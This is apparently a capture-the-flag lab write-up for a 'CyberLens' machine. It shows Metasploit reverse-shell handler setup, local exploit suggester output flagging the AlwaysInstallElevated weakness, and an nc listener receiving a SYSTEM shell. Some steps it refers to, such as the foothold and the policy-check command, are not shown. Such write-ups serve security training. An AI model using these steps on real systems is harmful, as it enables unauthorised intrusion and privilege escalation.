After the scan, we see several open ports, port 80 is open so let's go to the website to see what we find.
http://cyberlens.thm:80/
We can see a feature on the target webpage, CyberLens Image Metadata Extractor. This functionality allows users to upload images and conveniently extract all associated metadata, but before inspecting that feature of the web let's do a directory enumeration with gobuster to see if we find interesting directories.
Let's check the source code from the webpage to see if we can get something interesting.
view-source:http://MACHINE-IP/
Looking at the sourcecode of the website, on line 192 we find the CyberLens Image Extractor, and something very interesting appears, which is this script.
We can see that the image extractor, once an image is uploaded, it sends it to http://cyberlens.thm:61777/meta to extract the metadata of the image and returns it to us.
Let's get on, for this I will establish a shell with metasploit and then use post/multi/recon/local_exploit_suggester to see what we can get.
msf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > show optionsPayload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', s eh, thread, process, none) LHOST yes The listen address (an interfac e may be specified) LPORT yes The listen portExploit target: Id Name -- ---- 0 Wildcard TargetView the full module info with the info, or info -d command.msf6 exploit(multi/handler) >
We will use post/multi/recon/local_exploit_suggester.
msf6 exploit(multi/handler) > search multi recon local exploit suggesterMatching Modules================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit SuggesterInteract with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggestermsf6 exploit(multi/handler) > use 0msf6 post(multi/recon/local_exploit_suggester) > show optionsModule options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed desc ription for the availabl e exploitsView the full module info with the info, or info -d command.msf6 post(multi/recon/local_exploit_suggester) > set session 1session => 1
After launching it it tells us that the machine is vulnerable to always_install_elevated
msf6 post(multi/recon/local_exploit_suggester) > run[*] 10.10.14.185 - Collecting local exploits for x86/windows...[*] 10.10.14.185 - 193 exploit checks are being tried...[+] 10.10.14.185 - exploit/windows/local/always_install_elevated: The target is vulnerable.
This command checks if the "AlwaysInstallElevated" policy is enabled on the system. The output indicates that the policy is set to 0x1, meaning it is enabled. This policy allows Windows Installer to elevate privileges for all .msi (Microsoft Installer) files, which can be exploited by an attacker to gain elevated privileges by running a malicious .msi file.
nc -lvnp 7777listening on [any] 7777 ...connect to [X] from (UNKNOWN) [10.10.14.185] 49875Microsoft Windows [Version 10.0.17763.1821](c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamiwhoamint authority\systemC:\Windows\system32>
PentOpsVault